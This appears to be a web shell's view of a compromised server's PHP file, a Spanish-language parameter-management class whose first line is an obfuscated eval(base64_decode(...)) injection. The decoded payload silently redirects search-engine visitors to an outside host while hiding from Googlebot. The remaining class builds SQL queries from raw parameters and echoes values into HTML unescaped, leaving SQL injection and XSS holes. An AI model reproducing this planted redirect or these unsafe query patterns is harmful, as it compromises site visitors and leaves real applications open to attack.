|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/logicswapweb/aplicaciones/admon/fnc/ |
Upload File : |
<?php eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
class Parametro extends Componente{
/*constructor*/
function Parametro(){
$this->Componente();
}
function getNumSub(){
$sql = "SELECT valor FROM parametro WHERE nombre='num_subcategoria'";
if($this->execute($sql)){
list($id)=$this->fetchRow();
return $id;
}elseif ($this->isDebuggerEnabled()) {
$msg = "Error ".$this->getException();
return $msg;
}
}
/*
*funcion getParametros()
*descripcion devuelve los parametros de una aplicacion
*/
function getParametros($aplica,$nApli){
$sql="select nombre, valor from parametro where aplicacion ='$aplica'";
if($this->execute($sql)){
if($this->numRows()>0){
$sal=array();
while(list($nom,$val)=$this->fetchRow()){
$sel[$nom]=$val;
}
$out=$this->getMensaje("[077]","confirmacion");
$this->setSalida(true,$out,"getParametros($aplica)",$nApli);
return $sel;
}else{
$out=$this->getMensaje("[078]","confirmacion");
$this->setSalida(false,$out,"getParametros($aplica)",$nApli);
return "none";//se debe preguntar si es o no la salida esperada dode se utilize el m�todo
}
}else{
$out=$this->getMensaje("[025]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"getParametros($aplica)",$nApli);
return false;
}
}
/*
funcion addParametro
descripcion inserta un nuevo parametro en la BD para la aplicacion
pre: la aplicacion existe
*/
function addParametro($nombre,$valor,$descripcion,$tipo,$tipo_u,$aplicacion,$nApli){
$sql="insert into parametro (nombre,valor,descripcion,tipo,tipo_usuario,aplicacion) values ('$nombre','$valor','$descripcion','$tipo','$tipo_u','$aplicacion')";
if($this->execute($sql)){
$out=$this->getMensaje("[079]","confirmacion")." ".$nombre;
$this->setSalida(true,$out,"($nombre,$valor,$aplicacion)",$nApli);
return true;
}else{
$out=$this->getMensaje("[025]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"addParametro($nombre,$valor,$aplicacion)",$nApli);
return false;
}
}
/*
*funcion modParametro
*descripcion modifica el valor de un parametro
* porREf = campo que se buscara [id,nombre]
* valRef = valor del campo de busqueda
* valor = valor al que actualizara el campo de busqueda
* ej: modParametro(nombre, numero_admin , 78, 9999, panel)
* buscara el campo numero_admin para la aplicacion con id 9999 y le asignara 78
*pre: el parametro existe
*nota: aunque la aplicacion no es necesaria cuando se hace por id se conserva por integridad
*/
function modParametro($porRef, $valRef, $valor, $aplicacion, $nApli){
$sql="update parametro set valor='$valor' where aplicacion='$aplicacion' and $porRef='$valRef'";
if($this->execute($sql)){
$out=$this->getMensaje("[080]","confirmacion")." ".$valRef;
$this->setSalida(true,$out,"modParametro($porRef, $valRef, $valor, $aplicacion, $nApli)",$nApli);
return true;
}else{
$out=$this->getMensaje("[025]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"modParametro($porRef, $valRef, $valor, $aplicacion, $nApli)",$nApli);
return false;
}
}
/*
*funcion modParametroF()
*descripcion modifica un parametro en todos sus campos
* modificables
*/
function modParametroF($id, $nombre, $valor, $descripcion, $tipo, $tipoUser, $aplicacion, $nApli){
$sql="update parametro set valor='$valor', nombre='$nombre', descripcion='$descripcion', tipo='$tipo', tipo_usuario='$tipoUser' where aplicacion='$aplicacion' and id='$id'";
if($this->execute($sql)){
$out=$this->getMensaje("[080]","confirmacion")." ".$descripcion;
$this->setSalida(true,$out,"($id, $nombre, $valor, $descripcion, $tipo, $tipoUser, $aplicacion, $nApli)",$nApli);
return true;
}else{
$out=$this->getMensaje("[025]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"($id, $nombre, $valor, $descripcion, $tipo, $tipoUser, $aplicacion, $nApli)",$nApli);
return false;
}
}
/*
*funcion delParametro
*descripcion elimina uno o todos los parametros de una plaicacion
* porREf = campo que se buscara [id,nombre]
* valRef = valor del campo de busqueda
*pre: el parametro existe
*nota: aunque la aplicacion no es necesaria cuando se hace por id se conserva por integridad
*/
function delParametro($porRef = false, $valRef = false, $aplicacion, $nApli){
if(empty($porRef)){
$sql = "delete from parametro where aplicacion='$aplicacion'";
}else{
$sql = "delete from parametro where aplicacion='$aplicacion' and $porRef='$valRef'";
}
if($this->execute($sql)){
$out=$this->getMensaje("[081]","confirmacion")." ".$nombre;
$this->setSalida(true,$out,"delParametro($porRef, $valRel, $aplicacion, $nApli)",$nApli);
return true;
}else{
$out=$this->getMensaje("[025]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"delParametro($porRef, $valRel, $aplicacion, $nApli)",$nApli);
return false;
}
}
/*
*funcion getParametro
*descripcion trae el valor del parametro solicitado
*pre: el parametro existe
*/
function getParametro($porRef, $valRef, $aplicacion, $nApli){
$sql="select valor from parametro where aplicacion='$aplicacion' and $porRef='$valRef'";
if($this->execute($sql)){
if($this->numRows()>0){
$out=$this->getMensaje("[077]","confirmacion");
$this->setSalida(true,$out,"getParametro($porRef, $valRef, $aplicacion, $nApli)",$nApli);
list($val)=$this->fetchRow();
return $val;
}else{
$out=$this->getMensaje("[081]","confirmacion");
$this->setSalida(false,$out,"getParametro($porRef, $valRef, $aplicacion, $nApli)",$nApli);
return "[-]";
}
}else{
$out=$this->getMensaje("[025]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"getParametro($porRef, $valRef, $aplicacion, $nApli)",$nApli);
return false;
}
}
/*
*funcion setParametro
*descripcion asigna un valor al parametro solicitado
*pre: el parametro existe
*/
function setParametro($porRef, $valRef, $valor, $aplicacion, $nApli){
$sql="update parametro set valor='$valor' where aplicacion='$aplicacion' and $porRef='$valRef'";
if($this->execute($sql)){
$out=$this->getMensaje("[080]","confirmacion");
$this->setSalida(true,$out,"setParametro($porRef, $valRef, $valor, $aplicacion, $nApli)",$nApli);
list($val)=$this->fetchRow();
return true;
}else{
$out=$this->getMensaje("[025]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"setParametro($porRef, $valRef, $valor, $aplicacion, $nApli)",$nApli);
return false;
}
}
/*
*funcion showlistParametros()
*descripcion despliega los parametros de la aplicacion
* de la aplicacion solitada, ya sea para
* consulta o modificaci�n.
* accion:[consulta,modificacion]
* aplicacion:id de la aplicaci�n
* tipo:[1,2,3]
*/
function showlistParametros($aplica,$tipo_u,$accion,$nApli){
if($tipo_u==1){
$sql="select nombre, valor, descripcion, tipo, tipo_usuario, id from parametro where aplicacion ='$aplica'";
}
if($tipo_u==2){
$sql="select nombre, valor, descripcion, tipo, tipo_usuario, id from parametro where aplicacion ='$aplica' and tipo_usuario!='1'";
}
if($tipo_u==3){
$sql="select nombre, valor, descripcion, tipo, tipo_usuario, id from parametro where aplicacion ='$aplica' and tipo_usuario='$tipo_u'";
}
if($this->execute($sql)){
if($this->numRows()>0){
$sal=array();
echo "<table width=\"100%\">";
$i=0;
while(list($nom,$val,$desc,$tipo,$tipo_user,$id)=$this->fetchRow()){
$pi=$i+1;
if($accion=="consulta"){
echo '<tr class="texto1">';
echo"<td>".ucfirst($desc)."</td>";
echo"<td><strong>$val</strong></td>";
echo "</tr>";
}
if($accion=="modificacion" && $tipo_u!=1){
echo '<tr class="texto1">';
$nom =trim($nom);
echo"<td>$desc</td>";
echo"<td align=\"left\"><input type=\"hidden\" name=\"id_$i\" value=\"$id\"><input type=\"hidden\" name=\"nombre_$i\" value=\"$nom\"><input class=\"listado\" type=\"text\" name=\"valor_$i\" value=\"$val\" style=\"width:200; text-align:center \" maxlength=\"50\">*<input type=\"hidden\" name=\"tipo_$i\" value=\"$tipo\"><input type=\"hidden\" name=\"old_$i\" value=\"$val\"><input type=\"hidden\" name=\"descripcion_$i\" value=\"$desc\"></td>";
echo "</tr>";
}
if($accion=="modificacion" && $tipo_u==1){
$nom =trim($nom);
$sel_t="";$sel_n="";
if($tipo=="texto"){$sel_t="checked";}elseif($tipo=="numero"){$sel_n="checked";}
echo '<tr class="texto1">';
echo"<td width=\"30\"> <input type=\"hidden\" name=\"id_$i\" value=\"$id\"></td><td>Type</td><td>Text<input name=\"texto_$i\" type=\"radio\" onclick=\"javascript: tipear('texto','$i')\" $sel_t>
Number<input name=\"texto_$i\" type=\"radio\" onclick=\"javascript: tipear('numero','$i')\" $sel_n></td>";
echo "</tr>";
echo "<tr class=\"texto1\">";
echo"<td> </td><td>Name</td><td><input class=\"listado\" type=\"text\" name=\"nombre_$i\" value=\"$nom\" style=\"width:200; text-align:center \" maxlength=\"20\">*</td>";
echo "</tr>";
echo "<tr class=\"texto1\">";
echo"<td> </td><td>Value</td><td><input class=\"listado\" type=\"text\" name=\"valor_$i\" value=\"$val\" style=\"width:200; text-align:center \" maxlength=\"50\">*<input type=\"hidden\" value=\"$tipo\" name=\"tipo_$i\"></td>";
echo "</tr>";
echo "<tr class=\"texto1\">";
echo"<td> </td><td>Description</td><td><input class=\"listado\" type=\"text\" name=\"descripcion_$i\" value=\"$desc\" style=\"width:200; text-align:center \" maxlength=\"60\">*</td>";
echo "</tr>";
echo "<tr class=\"texto1\">";
$sel_1="";$sel_2="";$sel_3="";
if($tipo_user==1){$sel_1="selected";}elseif($tipo_user==2){$sel_2="selected";}elseif($tipo_user==3){$sel_3="selected";}
echo"<td> </td><td>Type of User</td><td><select class=\"listado\" name=\"tipo_usuario_$i\">
<option value=\"1\" $sel_1>ROOT</option>
<option value=\"2\" $sel_2>Administrator</option>
<option value=\"3\" $sel_3>User</option>
</select></td>";
echo "</tr>";
echo "<tr class=\"texto1\"><td colspan=\"3\"><div align=\"right\"><strong>Parameter ($pi)</strong></div><hr width=\"100%\"></td></tr>";
}
$i++;
}
echo "</table>";
$out=$this->getMensaje("[077]","confirmacion");
$this->setSalida(true,$out,"showlistParametros($aplica,$tipo_u,$accion,$nApli)",$nApli);
return $i;
}else{
$out=$this->getMensaje("[095]","confirmacion");
$this->setSalida(false,$out,"showlistParametros($aplica,$tipo_u,$accion,$nApli)",$nApli);
echo "<table><tr><td align=\"center\">$out</td></tr></table>";
}
}else{
$out=$this->getMensaje("[025]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"showlistParametros($aplica,$tipo_u,$accion,$nApli)",$nApli);
echo "<table><tr><td>$out</td></tr></table>";
}
}
}//end class
?>